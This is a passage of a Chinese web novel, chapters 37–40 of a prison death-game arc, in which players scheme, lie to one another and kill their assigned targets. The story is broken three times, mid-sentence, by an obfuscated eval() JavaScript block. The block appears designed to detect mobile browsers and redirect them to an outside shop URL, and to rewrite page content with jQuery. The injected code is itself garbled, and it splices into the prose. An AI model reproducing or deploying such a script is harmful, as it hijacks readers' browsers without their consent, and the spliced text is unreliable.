几句话怼得阿聪哑口无言,小风嘴角一勾,露出胜利般的微笑,面对明明的提问也能好声好气地回答了:“没看到。我的房门一般都是掩着的。” 从她口中仍然得不出有价值的信息,众人又把视线望向住在小风隔壁的贺玉盈身上。 贺玉盈:“我也不知道。我一直在睡觉。” 阿聪怀疑地看向她:“你也在睡觉?” 贺玉盈点点头。 小风替她证明道:“小玉似乎是把桌子抵在门口的,只要出门她就会挪动桌子。直到刚才,我才听到她挪桌子的声音。” “我饿了,出来拿饭吃。”贺玉盈心领神会,很快接上话。 有小风作证,贺玉盈的嫌疑算是洗清了。众人都点点头,略过她,看向她隔壁的明明。 明明说:“我的房门一直是打开的,我也一直盯着门外,没看见有人过去。” 他一句话就洗清了小程和阿聪两个人的嫌疑。 不过,这也要建立在他没有撒谎的情况下。 贺玉盈看了眼他,没有说话。 37. 第37章 白鸟服刑所 虽然有明明的证言,不过为了搜集更多的线索,小程和阿聪还是做了简单的说明。 小程说:“我虽然没有睡觉,但是房门一直是关上的,什么也没有看见。” 住在最左边的阿聪就更简单了:“不是我干的。” 听完每个人的证言后,六人谁都没有再吭声。 这时贺玉盈提议道:“我们搜一下她的牢房怎么样?” 几人这才从冰冻中释放出来,纷纷行动起来,在牢房里翻找着什么。遗憾的是,似乎大家都一无所获。 无奈之下,众人只好各怀鬼胎地解散了。 贺玉盈看着桌上已经凉掉的饭菜,强撑着吃了几口,就吃不下了。 她觉得这次的髓海有些棘手。 永远的白昼,不知道时间的流逝,狭小逼仄的牢房,玩家之间相互猜疑…… 这些还不是最大的问题。 依照她的猜测,每个玩家应该只有一个杀人目标,而一旦出现死人,就意味着杀人者完成了TA的任务,不会再轻易杀人。 这样一来,杀人凶手反而成了剩下的玩家最能信任和依靠的人。 可是这样的话,为什么杀掉素心的人不愿意站出来承认自己是凶手呢? 是因为局势尚未明朗,不想成为众矢之的,还是因为另有隐情? 贺玉盈端起凉掉的饭菜,拉开门,半蹲下身体,将它放在瓷砖上。同时,她的目光不由得向左右瞟了瞟。 其他玩家的饭碗也都放在牢房前。牢房的门上虽然有透明的挡板,她使过从挡板去看,视野十分有限,只能看到一小块地方。如果不将头探出来,是绝对不可能看到其他玩家牢房门前的饭碗的。 她又看了看仍然围聚在素心牢房前,正在交谈的阿聪、竹子和小风,一声不吭地悄然缩回了牢房里。 只是这次她没有再挪动桌子,而是整理了一下榻榻米和被褥,随后便掩上门,靠着门后就地坐下。 小风的话算是给她提了个醒,她不应该再因为挪动桌子而暴露自己的行动。 她保持着这个动作,不知坐了多久,久到她快要忍不住站起来活动活动筋骨时,牢房的门忽然轻轻地打了一下她的后背。 这下贺玉盈整个人都清醒了,屏住呼吸,小心翼翼地抬头看去—— 挡板处赫然有一双眼睛!正死死地盯着她! 她认出了这双眼睛的主人! “明明!?”贺玉盈一个骨碌从地上爬起来,手已经摸向了自己的后腰。她谨慎地后退两步,急促的心跳还没有平复下来,“你有什么事吗?” 明明一愣,歉意道:“吓到你了吗?我不是故意的,是因为有重要的事情想对你说,所以看看你在不在……我可以进来吗?” 贺玉盈思索两三秒,上前替他拉开门。 “你想说什么?” 似乎是顾忌到贺玉盈的心情,明明站在门口,并没有往牢房内走的意思。该说不说,这样的举动确实让贺玉盈安心了不少。 “阿聪、竹子和小风已经结盟了。”他压低声音,补充说,“我猜的。刚才他们进了一间牢房,直到现在都没有出来。” 贺玉盈坐在榻榻米上,“他们不担心对方想杀掉自己吗?” “当然是有特殊的原因了。” “特殊原因?” “竹子。”明明那张带着点婴儿肥的脸绷得紧紧的,“杀掉素心的人就是竹子,所以才能劝说阿聪和小风和他结盟。因为他已经是监守了。” 贺玉盈一怔,反问道:“你怎么知道?” “我看见了。”明明神色自若,“我说过了,我担心有人下毒,所以一直盯着外面的饭菜,恰好就看见竹子进了素心的牢房里。当然,他没看见我。他进了素心的房间有一段时间,才跑出来叫我们,杀死素心的凶手一定是他。” “你刚刚为什么要隐瞒这件事?” “创造信息差。”明明丝毫不觉得自己的举动有什么问题,“而且如果我把这件事和盘托出,一定会引起他们的警觉,我暂时还不想太出风头。” “那你为什么要把这件事告诉我?” “因为我想和你结盟。对你坦诚是我的诚意。”明明的眼神和表情都充满了真诚。 这下可彻底让贺玉盈犯了难。 犯难的不是她要不要和明明结盟这件事,而是她刚刚才对明明生起怀疑,竟然转瞬就被他打消了。 眼见贺玉盈的五官都纠结在一处,明明咬咬牙,又添了把火:“其实你无非是在担心我到底会不会杀你吧。那这样,我可以向你坦白我的目标对象。但我有一个要求,无论我的目标对象是不是你,你也要向我坦白你的目标对象。” 有来有往,信息交换。 很公平的买卖,比结盟要可信得多,贺玉盈没理由拒绝。 “可以。” 即使是自己主动提出坦白,可临到头,明明还是抿了半天的唇,小心地四下看了看,最终才心一横,低声道:“……七号。” 他的目标是编号七号的囚犯。 而贺玉盈则是六号。 说完后,他观察着贺玉盈的神色,“该你说了。” “一号。”贺玉盈说。 明明肉眼可见地松了口气,肩膀都松懈下来,“不是我……现在我们可以结盟了吗?” 贺玉盈是否答应跟他结盟,在他看来,也就表示贺玉盈是否为七号囚犯。 可是贺玉盈依然没有给他肯定的答复: “我得再想想。” “难道你想要跟竹子他们结盟吗?”明明想不出有第二个理由阻止两个互相都不是对方目标的人结盟,“虽然竹子是监守,可是他是实打实杀了人!再说,阿聪和小风的目标是谁我们都不知道。” 贺玉盈摇摇头:“不是因为这个理由。” “那是为什么?”明明的语气急躁起来。或许是他不想在监狱里浪费时间,迫切地想要离开这里。 “……我有点混乱。”贺玉盈皱起整张脸,双手交叉放在膝上,脊背微微拱起,一副苦恼至极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12857293|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的样子,“发生了太多事情了,我需要好好捋一下思路,想想接下来该怎么办。” “……”明明咽了剩下的话,蹙起眉盯着她,良久,轻轻叹了口气,“好吧,你再想想吧。在下一个人被杀掉之前,我希望我们两个能顺利结盟,至少还能稍微抵抗一下其他人。” 说完,他便轻手轻脚地退出牢房,顺便贴心地为她带上了门。 …… 明明的话确实使贺玉盈动摇了,他讲的每一句话都有理有据,结盟的出发点似乎也是在为彼此好。 可也许是戚司命的话对她产生了影响,贺玉盈不得不小心万分。 阿聪、竹子和小风不会无缘无故地结盟,他们既然结盟,必然就会有下一步动作。起初,贺玉盈猜测这三人将会在她、明明和小程之间选一个人开刀,可事实却让人大跌眼镜。 大约几个小时后,贺玉盈亲眼看见阿聪闯进小风的牢房,残忍地杀害了她。 即使已经几度与生死博弈,在面对这种场景,贺玉盈还是不能很好地习惯。比起面对凶杀现场,她更想面对冷冰冰的尸体。 她跌坐在自己的牢房门口,手边是惊吓之中打翻的饭碗。就在刚刚,小风走出来准备端走瓷砖上新送来的饭菜时,阿聪突然出现,一把扯住小风的头发,将她一路拖进了牢房中。小风不断挣扎和喊叫,可随之而来的一声闷响后,便再没有了声息。 没过多久,阿聪失魂落魄地从牢房里走出来。贺玉盈注意到他的右手溅上了鲜血。 阿聪忽然转过脸,阴冷地盯住了贺玉盈。贺玉盈浑身一震,思考着自己赢过他的可能性。 很可惜,几乎没有可能。 不过幸好阿聪大约还没有完全丧失理智,他只是盯了贺玉盈几秒、十几秒……便移开视线,拖着逐渐从沉重变为慌乱的脚步,闪进了某间牢房中,消失不见了。 贺玉盈这时候才意识到自己双腿冰凉,没有一点知觉。她缓了缓,站起身,略过门口碎掉的瓷碗,推开牢房门,小风就躺在牢房的门口。 她的头像个被砸碎的西瓜。不难看出阿聪用了很大的力气。 可是他既然下定决心要杀害小风,为什么会露出那种茫然的表情?为什么好像他自己也受了极大的惊吓似的? 只有一种可能。 贺玉盈没有声张,在小风的牢房里四处翻找。 这次比较幸运,很快她就在马桶与地面的墙隙中找到了被撕碎的纸片。大概小风本来打算将撕下来的编号扔进马桶里冲掉,但又担心冲水的声音引起了他们的注意,于是便将它暂时丢弃在这里,然而后来忘记处理了。 【恭喜囚犯六号完成任务】 【您已晋升为监守】 【您所知晓的密钥为:方寸之间】 【(4,5)(9,3)】 【助手】的声音在脑海中久久不散,贺玉盈将手中的碎片扔进马桶,按下开关,水流喷涌而出,眨眼便冲走了。 她知道自己已经没有必要再拼凑纸片上的数字了。 38. 第38章 白鸟服刑所 纸片打着旋消失了,贺玉盈转过头,小程和明明就站在门口。 小程震惊地看着地上的尸体,捂住嘴,竭力克制自己不尖叫出声,“她、她、她死了?!是你干的!?” 贺玉盈摇摇头,“不是我。” 能将一个人的头骨砸碎,这人想必有很大的力气,贺玉盈再怎么看也不像有这么大力气的人,因此小程没多犹豫就相信了她的话,转而又问:“那是谁?” 停顿了好一会儿,贺玉盈才说:“是阿聪。我亲眼看见的。” “疯了。”小程喃喃说,“难道素心也是他……” 他没说完的话淹没在咽喉中。 明明扫了眼牢房里的情况,目光在贺玉盈身边的马桶上顿了顿,没说什么,只是别过脸,似乎对这样的惨状也有些于心不忍,“我们先出去吧。” 贺玉盈点点头,跨过小风的尸体,跟在他们身后出去了。 走廊里还是一片明亮,瓷砖四四方方贴得严丝合缝。竹子和阿聪都不在。 “我们、我们不告诉他们两个吗?”小程问。 “你想叫的话就去叫吧。”贺玉盈说。 小程一下子闭了嘴。 刚刚跨出牢房门没几步,从始至终都寡言的明明忽然顿住脚步,小程吓了一跳似的哆嗦着缩在一旁,贺玉盈则顺势靠在冰凉的墙面上。 明明转过头来,眉头紧锁,一副疑惑不解的模样,“阿聪他为什么要杀小风?” “可能小风就是他的目标吧。”贺玉盈坦然道,丝毫没有顾及一旁的小程。 “太鲁莽了。”明明评价道。 “目、目标?”小程的脸色又白了几分,警觉地看着这两人,“果然,你们果然也有目标。所以你们才会杀人。” 明明仿佛这时才注意到他,认真地纠正道:“不是我们。我和她都没有杀人。” “不。你们会杀人的。”小程的眼神猛然犀利起来,眸光闪动,俨然成了一个看破罪犯内心的侦探,笃定道,“你们肯定会杀人。只要确定了目标,你们就会像杀掉小风那样杀掉别人……杀掉我。” 非常难听的一段话,仿佛他和贺玉盈都成了罪无可赦的杀人犯,而他则高高在上地审判着他们,评论着他们的过错。可事实呢?这里是髓海,法律不是这里的准则。 更何况,他难道就不会动手杀人吗?在髓海杀掉一个人,就像在游戏里杀掉一个npc一样简单。谁玩游戏的时候没杀死过几个角色呢?冠冕堂皇。 明明说:“……你想得太多了,我们真的不会杀人。游戏的任务只让我们越狱,杀人这个任务我们也可以不做。他们杀人那是他们的问题,你说是吧,小玉?” 如果在三十分钟以前,贺玉盈可能会同意他的说法。 可是她却阴差阳错地完成了杀人任务,晋升为监守,并由此得知了所谓的“密钥”。如果她的直觉没错,越狱的必要条件就是这个“密钥”。一名监守掌管一部分密钥,当监守的数量增多到一定数目时,就能拼凑出完整的密钥。 密钥,就是监狱的钥匙。 杀人任务根本就不是可选任务,而是必做任务。而与已经成为监守的竹子合作,才是她目前的最优选择。 “嗯。”贺玉盈安慰说,“小程,你不要太担心。至少我是不会杀人的。” 她已经完成了任务,没有必要再自找麻烦。 小程:“……小玉,其实你最该担心的是你自己,再怎么样,我好歹也是个身强体壮的男人。” 七名囚犯,率先被杀死的两名囚犯都是女性。这其中固然有不幸的因素在,可是身为女性,在这类游戏里明显处于劣势。在余下的五名囚犯中,贺玉盈是唯一的女性,此刻她只能祈祷自己的编号还没有暴露。 不过也瞒不了多久了,素心和小风的死就表明已经有人意识到了编号的规律。她再努力隐瞒,也不过是拖延时间而已。 贺玉盈:“……” “没事啊,我和小玉结盟了,我会帮她的。”明明笑了笑,说,“因为我和她确认过了,我们的目标都不是彼此。” 他这一句话说完,在场的三人都愣在原地。 原本还称得上轻松的氛围顿时凝滞起来,小程惊恐地睁大眼睛,双手颤抖,像是野外遇见狮子的蜜獾,下一步就想逃离。 明明的脸色也凝重起来,似乎是知道自己失言,脸颊鼓起,一眨不眨地盯着小程。 贺玉盈则眯起眼,作壁上观。 以小程的角度很容易理解他为什么突然如临大敌。在他的视角里,素心和小风相继被杀,就代表有两个人完成了自己的目标,而明明又一直信誓旦旦地表示他和她都没有杀过人。 小程不知道她的任务已经完成了。既然他们两人都声称没有杀过人,彼此也不是对方的目标,那么很大可能,明明和贺玉盈之间有一个人的目标就是他。 想通这一点了,也不怪他突然间警惕起来。其实他自己想也能想明白,不过明明的话将这个过程提前了而已。 而明明突然变化的脸色,在小程眼里,就是最好的佐证。 充满敌视的目光扫过两人,小程生硬地说了句“你们聊,我先走了”就迅速逃离了现场。 一直盯着他的背影在牢房门口消失,明明才收回视线,对贺玉盈说:“都怪我嘴快了。估计以后他要躲着我们了。” 贺玉盈:“没事。” “……太不小心了。”明明十分懊恼。 “你不是说不会杀人的吗?” 明明歪了歪头:“那是说给他听的。如果游戏就是要杀人才能通关呢?” 闻言,贺玉盈一怔。 游戏就是要杀人才能通关吗? 世上有哪一种游戏,是必须要杀人才能通关的? 难道这局游戏还有其他的通关方法吗?就像安徒生小镇,最初她选错了道路,因此赢得相当难看。在这一局游戏,她也选错了道路吗? 可是她已经成了监守,即使错了,也没有回头的可能了。 明明似乎还想对贺玉盈说什么,但见贺玉盈一副恍恍惚惚的模样,心中以为她是后知后觉被小风的死状吓住了,便不再多说,叮嘱她注意安全后就回自己牢房去了。 贺玉盈靠着墙面,寒气从后心渐渐弥漫到全身,冻住了她的手脚。一片沉寂中,耳边传来了影影约约的嘈杂声,像是有人在克制地争吵。 血液缓缓流动,体温逐渐回暖,她终于在心中下了一个决定,最后看了眼竹子的牢房,过了一段时间,回到自己的牢房中。 在下一次餐食被送来之前,明明又一次溜到了贺玉盈的房前,询问她是否能进去。 “怎么了?”贺玉盈开门问。 明明语气焦急道:“小程去找竹子了。” “他想跟他们结盟?”贺玉盈说,“他就不怕那两个人对他动手?” “多半是这样。恐怕他现在觉得我们两个的威胁更大。” “虽然他们杀掉了目标,但也不代表跟他们结盟很安全。”贺玉盈说,“小程是病急乱投医了,这对我们没有什么影响,你为什么要担心?如果阿聪和竹子要联手对付我们,我们肯定不是对手,多小程一个也没什么差别。” 明明:“……” 明明:“不是这样。我实话告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12898377|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉你吧,我的目标是七号……” “这我知道。” “我想说的是,”明明压低声音,用气声说,“小程,很可能就是七号。” “他暴露自己了?”贺玉盈也板起脸,“这也太不明智了,真是昏头了。” 明明:“小玉你怎么抓不到重点!?小程如果跟竹子和阿聪结盟,我要杀掉他的可能性就变低了!” “所以,你是想让我帮你阻止他结盟?还是想让我帮你杀掉他?” 明明盯着她的脸,“这还用说吗。” 贺玉盈硬着头皮和他对视了一会儿,终于像是败下阵来,妥协道:“好吧。可是你为什么确定他就是你的目标?如果随意杀人,很可能会让现状变得一团糟。” 她的语气纠结起来,面上流露出不忍的表情,“我不想随便就去杀人。” 明明知道她一定会帮他,除了他以外,她还能在髓海里依靠谁?如果她舍弃他,她就独木难支。 “……猜测。”明明说,“死掉的素心和小风肯定不是我的目标,你也不是,那就只剩竹子、阿聪和小程了。不管究竟是他们三人中的哪一个,试试又不会怎么样,万一小程是一号呢?” 贺玉盈说:“我想你弄错了,这局游戏只需要我们越狱,并不是要分成两队相互厮杀。万一你杀错人,有什么用?” “如果杀错人,就当帮别人完成目标任务了。”明明的嗓音莫名有些阴测测的。 贺玉盈闻言浑身一震,下意识地后退半步,蹙起眉盯着他。 “你想说什么?” “小玉,你对我们的结盟一点也不坦诚。”明明说,“为什么?因为你觉得我有事瞒着你?” “难道不是吗?”贺玉盈没想到他居然直接挑明,看来是她犹犹豫豫,顾左右而言的样子终于惹恼了他。 他们之间的结盟就是如此脆弱不堪,任何一点敲击就能让它破碎。谎言和阴谋在他们两人的话语和眼神中交织,他知道她没有将信任托付给他,她也知道不该相信他。 “……我是有办法知道所有人的编号,这点规律很容易找到。就算我没有告诉你,你也应该已经知道了吧?”明明一边说,一边观察着贺玉盈的表情。见她表情没有一丝一毫地起伏,心中不由得发出一声冷笑,这个人果然也知道了编号的规律。 明明气愤自己寻找的队友如此不好对付,同时又可怜竹子的队友愚蠢至极,轻而易举被人玩弄于股掌之中,“小玉,比起你瞒着我的,我这完全不值一提。你以为我不知道吗?小风的编号就是一号,你已经完成了你的目标任务,你是监守了,对吗。” 他听到动静赶去小风的牢房时,小玉正专注地盯着马桶,冲水的声音在门外就能听到。起初他也怀疑是小玉杀掉了小风,他心中还诧异了一会儿,因为小玉完全不像是能直接动手杀人的人。如果她要犯下一桩杀人案,那一定是一桩经过深思熟虑,精心策划的杀人案,而不是如此粗糙、如此焦躁地杀人。 但是小风的死状打消了他的疑虑,因为没几个人能有这么大的力气能让一个人的头骨碎裂成那副模样。他们七人中,就只有阿聪拥有满足条件的体格。 可是阿聪为什么要杀掉小风? 假如小玉没有对他说谎,她的目标对象才应该是囚犯一号小风。 小风既然已经被杀,小玉为什么完全没有提起自己已经完成任务了? 难道他猜错了?他猜错了编号规律? 他满怀疑问地回到牢房静静呆了会儿,很简单,只需要稍稍一想就能把其中的关窍全部想清楚。 明明意识到自己的队友是个满口谎言的骗子。 39. 第39章 白鸟服刑所 毫无疑问,他的队友无情地欺骗了他。 她真假参半的谎言很容易让人对她深信不疑。 她的目标确实是一号,她也确实看见阿聪杀掉了小风。可是再多的她就不肯说了。她没有说小风的编号就是一号,她也没有说自己已经晋升为监守了。 她只是将某些信息隐藏起来,在闲聊之时不经意间地误导他,让他误以为阿聪的目标是小风,让他怀疑自己的推测出了错。 但其实阿聪也是被人骗了。有人骗他他的目标是小风,借刀杀人除掉了她。这个人还能有谁?只有可能是竹子。 竹子不是已经杀掉了自己的目标素心吗?为什么又要杀掉小风? 很简单,因为竹子知道自己是小风的目标,为了规避风险,他于是先下手为强。 即使阿聪意识到自己被骗,他也最多恼羞成怒了,他不会对竹子出手。除了竹子以外,他又能靠谁通关这场游戏?他只能容忍。 这么一想,他和阿聪都是可怜虫,被自己的好队友骗得团团转。 “这么言之凿凿,你的依据呢?” “牢房里的水声,是你在处理小风的编号吧?” 被人这么直截了当地戳破,贺玉盈的眼神漂移了一瞬,重新恢复了镇定,“……好吧,我只是保护自己而已。” “说到底,你就是因为不相信我。”明明叹气。 “很正常吧?”贺玉盈说,“这局游戏是单人模式。” “我对你却很坦诚。”明明说,“除了编号——我不能确定自己的推测是否正确,我还有什么事情瞒着你?” 闻言,贺玉盈挑挑眉,“好吧。既然话说到这个份上了,以后我尽力不向你隐瞒。” 明明懒得跟她计较“尽力”这两个字有多么可笑,他敛起神色,对贺玉盈说:“既然你晋升为监守了,游戏有什么提示吗?” “……”贺玉盈没立刻说话,明摆着在思忖着要不要告诉他。 明明:“……” 明明:“……小玉,你忘记刚刚说过什么了吗?” 贺玉盈耸耸肩:“我记得,‘尽力’。” “你……” “我不想瞒你,”贺玉盈无比真诚,“可是这是我的保命底牌。我可以告诉你,晋升监守后会得到一段密钥,如果我的猜想没错,密钥就是越狱的必要条件。假如有人想要杀掉我,我能用这个密钥换取活下来的机会。你也知道密钥的话,我不就没有任何价值了吗?” 明明哽咽良久,终于憋出一句:“你就是不信任我。” 如果她信他,就会相信他能守口如瓶! “我有个提议。”贺玉盈破天荒地主动替他分忧,“你不是说小程是你的目标吗?我相信你。既然我们两个摊牌了,我也不装了,我愿意帮助你杀掉小程。杀掉他以后,你也是监守了,当然也会获得一段密钥。到那个时候,就像我们互相交换目标对象的编号一样,我们也来交换密钥。你觉得怎么样?完全公平公正公开。” “万一你再骗我呢?”还没等贺玉盈辩解,明明已经咬咬牙,说服了自己,“……算了。这回你不能再耍小聪明。” “当然啊。”贺玉盈答应得很爽快,爽快到让明明有些不适应,她说,“除此以外,我们两个还得保证自己不被其他人杀掉。虽然竹子已经完成了目标,但是阿聪和小程的目标是谁我们还不知道。” “我明白。”明明说。 “那我们得定个时间,还有具体计划。”贺玉盈说,“事先声明,我不是竹子和阿聪那种人,杀人对我来说不是件简单的事。” 她跟明明,一个手无缚鸡之力,一个活脱脱一只白斩鸡,虽然小程看起来胆小,但想要战胜他还是需要克服不小的困难。 明明说:“我能理解。如果你是他们那种人,一开始我也不会找上你。” 是吗。贺玉盈默默地想。 “但我也没杀过人。”明明鼓了鼓脸颊,两条眉毛一撇,“你有什么好主意吗?” “……窒息怎么样?”贺玉盈觉得现在的对话太诡异了。 “你有什么武器吗?比如刀、匕首之类的。” “没有。”贺玉盈淡定道。 明明失望地垂下头:“那我们得好好想想了。” 这种诡异的对话持续了大约十几分钟,最终两人敲定好一切细节,计划在从现在开始的第三次送饭时,明明和贺玉盈一齐闯进小程的牢房,趁他不备制服住他,将他按进马桶中,或是用被褥蒙住他的脑袋,使他窒息而死。 “竹子他们不会听到动静来妨碍我们?” “不会。”贺玉盈摇摇头,冷静道,“你觉得他们会帮助一个什么也不知道的囚犯,还是会帮助有机会知道密钥的我们?竹子会做出什么选择,即使我们没有和他过多接触,也应该清楚了。小程只能期望他们俩不落井下石,否则必死无疑。” 听她这么一说,即使明明觉得“老幼妇孺”四个字里,他跟贺玉盈就占了两个,制定的这个计划也粗拙非常、错漏百出,竟然也不再有顾虑,点点头,算是同意了。 …… 比起满腹心事的明明,贺玉盈唯一在想的只有越狱。 既然有七名囚犯,密钥至少会被拆分为三份。她和竹子现在已经各有一份,还差一份。所幸这一份就在眼前,只要阿聪或小程完成目标就好。 这样一来,他们四人里就有三名监守,一名囚犯,共三份密钥。 最坏的情况…… 密钥不止三份,而是四份。这样的话,他们之间剩下的那名的囚犯必须要杀掉目标任务,从而得知最后那份密钥。而这个目标对象,又必然是已经成为监守的三个人。 不管怎样,贺玉盈想,总之她是不会成为那个被杀掉的人了。 下一次出去拿食物时,贺玉盈着重注意了竹子和阿聪的牢房。这两人牢房门前的食物都是动也不动,牢房里也没有一点儿的声响,安静得吓人,不知道是睡着了,还是在密谋些什么。她这边愣神的时候,眼前忽然出现了个圆圆的黄脑袋,定睛一看,原来是爬出来取食物的小程。 小程乍然和她对上视线,脸色顿时惊惶起来,取了食物便着急地往牢房里退,生怕她暴起杀人。 不过转眼,小程就消失在眼前,牢房门“砰”地一声关上了。 贺玉盈心里却感到莫名其妙。小程不是已经与竹子和阿聪结盟了吗?虽然她推测竹子两人不会插手她和明明对小程的谋杀,但小程并不知情。在他眼里,自己应该是已经有了依靠才对,何必要见了她和见了猫的老鼠一样,忙不迭地躲起来? 这边贺玉盈心里正琢磨着,隔壁的牢房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928843|129932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就悄然打开,明明淡定地走出来,弯腰拿起送来的饭,瞧了贺玉盈一眼,又自如地回牢房去了。 那一眼的意思很明显,是叫她别忘记他俩的计划。 贺玉盈也觉得是这个道理,既然决定要杀人,就不能让对方起疑心才是。否则岂不是自找麻烦吗? 于是她从此时开始便一直静静地待在牢房中,不再贸然出去了。在等待的时间里,贺玉盈找准机会小睡了一会儿又很快惊醒,惊醒后发觉自己已经睡得满头大汗,等回过神来时,耳边隐约有些水流声。这水流声贺玉盈再熟悉不过,是马桶抽水后残余的水声。她自己牢房里的马桶必然没有人使用,隔壁的小风也被杀害,那么就只有明明了。 虽说走廊里一直亮堂,但牢房里的光线并不太好。贺玉盈不知道自己睡了多久,于是赶紧起身去看门外的饭送来了没有。 第二次送来的饭端端正正地被放在门外的瓷砖上。贺玉盈端起碗准备回牢房时,留了个心眼去看其他人的。竹子和阿聪的碗已经被吃得干净,连同筷子一起被放回原位。小程的碗里则还剩有半碗米饭。明明门前的瓷砖则是空荡荡的。 手里的饭菜已经没有了热度,大概是被送来了许久。 贺玉盈端着碗回到牢房中,坐在榻榻米上,一面嚼着冷得有些硬掉的米粒,一面喝着难以下咽的芋梗汤。她早就不用担心食物下毒的事了——如果这些人真有能耐把毒药带进髓海,何必要用那样朴素的方法杀人? 换个思路来想,甚至他们身上也没有任何能伤人的利器。 贺玉盈硬着头皮吃了半碗,实在吃不下冷掉的食物,端上碗,推开门准备放回去。她又瞧了眼明明门前的瓷砖,还是空荡荡的。 为了避免错过时间,贺玉盈干脆大开牢房的门,就正对门坐在地上,等着下一次饭菜被送上来。 不知道过了多久,牢房里始终一片死寂,仿佛监狱中只剩下她一个人。她等得都有些饿了,一点轻微的声响引起了她的注意。面前的瓷砖缓缓下移,紧接着,一块呈着热腾食物的瓷砖被换了上来。 贺玉盈立刻从地上跳起来,跑出门外,恰对上也冲出门外的明明。明明与她对视一眼,先她一步,放轻脚步,摸到了小程的房门。 他先是尝试着推了推,手中的力道受到了阻碍,应该是有什么东西抵在门背后。 明明稍微退后两步,二话不说,一脚踹开了房门! 桌子与地面摩擦的刺耳声划破了监狱的寂静,小程惊恐地缩在马桶边,看着不由分说便闯进来的两人,心里还有什么不清楚的,当即便色厉内荏地厉声喝道:“你们想干什么!” 他就知道,他就知道这两个人肯定会对他下手! 明明三步并作两步冲上去与小程扭打起来,小程也在危难时刻爆发出了极大的力量,一时之间两人竟然难分胜负。明明一边与小程厮打,一边趁空回头招呼贺玉盈:“快来帮忙!” 没过多久,小程的动作渐渐慢了下来,满脸疑惑地看了一眼状似焦急的明明,接着又抬头看了眼站在明明背后始终无动于衷的贺玉盈。 还没来得及纳闷,一道寒光突然闪过,小程被人重重地甩到墙面上,疼得眼冒金星。再一抬头,明明痛苦地捂着侧腹,鲜血从指缝间溢出,而贺玉盈则拿着一把漆黑的匕首,与明明呈对峙的姿态。 40. 第40章 白鸟服刑所 明明的脸色异常难看,兴许是因为失血,甚至有些苍白。 “……我早就该想到……”他此刻的语气充满了计划失败的挫败和愤恨。 贺玉盈退至门口,握住匕首的那只手微微发颤,道:“‘早该想到’?” “我没想到的是,你居然会这么着急。”明明说,“好歹,你也要等我把小程杀掉吧?” “等你把小程杀掉,下一个被杀掉的人就是我了。”贺玉盈淡淡道。 “你在说什么?”明明瞪圆眼睛。 “明明,你把我当傻子吗?”贺玉盈犀利地说,“你的击杀目标是六号,不是七号。” 他以为她不知道他在打什么鬼主意吗?杀掉小程后,再从她那里骗来密钥,就可以除掉她了。 这个人早就猜到她是六号了,所以才装模作样地提出和她结盟,意图骗取她的信任后杀掉她。他一直没有动手,是因为后来发生的一系列事情暂时拖住了他的脚步。等他再想动手时,意外地意识到贺玉盈已经成了监守,又从她口中得知了密钥的事。 她能想到的事,他当然也能想到。 七名囚犯,至少会产生三份密钥。竹子一份,贺玉盈一份,等他杀掉贺玉盈,又是一份。 要是阿聪杀掉小程,一共就有四份密钥。 到底是三份密钥,还是四份密钥?与贺玉盈不同的是,明明更加笃定是四份密钥。 七名囚犯,产生四份密钥,最终活下三个人,这才是髓海。 那么他就不能杀贺玉盈,他必须要先从贺玉盈口中骗出她的那份密钥再杀。 哪知道贺玉盈的嘴巴闭得死紧,怎么撬也撬不开。他敢肯定,即使他用死亡威胁她,她也能一个字不说。 所以,明明只能想出这么一个拙劣的方法。 太拙劣了,他自己都这么认为。贺玉盈又远比他想象得要精明。 可是他走投无路,他打算赌一把。赌他们齐心杀掉小程后,贺玉盈的态度会稍稍软化,能吐露一点密钥的信息。 ……他没想到贺玉盈这么不要脸! 一开始就捅了他一刀! “……”明明沉默了一会儿,说,“没有再商量的余地了吗?” “商量?你所谓的商量,就是把我置于死地?” 如果越狱需要三份密钥,只要杀掉小程,三份密钥齐全,大家皆大欢喜。 可是如果需要四份密钥呢?即使小程被杀,也还差一份密钥,这份密钥从哪里找,只能让明明杀掉她! 到了那时,在场的所有玩家,没有一个人会救她。 明明叹了口气,脸上渐渐显出严肃的神情。手腕一翻,一块尖利的碎瓷片就出现在他的指尖中,不知是从哪里变出来的。 贺玉盈的目光放在那块熟悉的瓷片上,顿时觉得这人跟她半斤八两,都十分阴险。不过要是单论阴险,她和明明都得在竹子面前甘拜下风。 被晾在一边的小程左看看右看看,瑟瑟地缩在墙角。 贺玉盈见了他这副模样,骂道:“你还傻待着干什么?他就是你的目标!” 哪知这句话一出,小程还没什么反应,明明却率先行动起来,举着瓷片便向小程的喉咙刺去! 贺玉盈一惊,赶紧去拦。 小程绝不能现在死,否则陷入被动的就是她了。 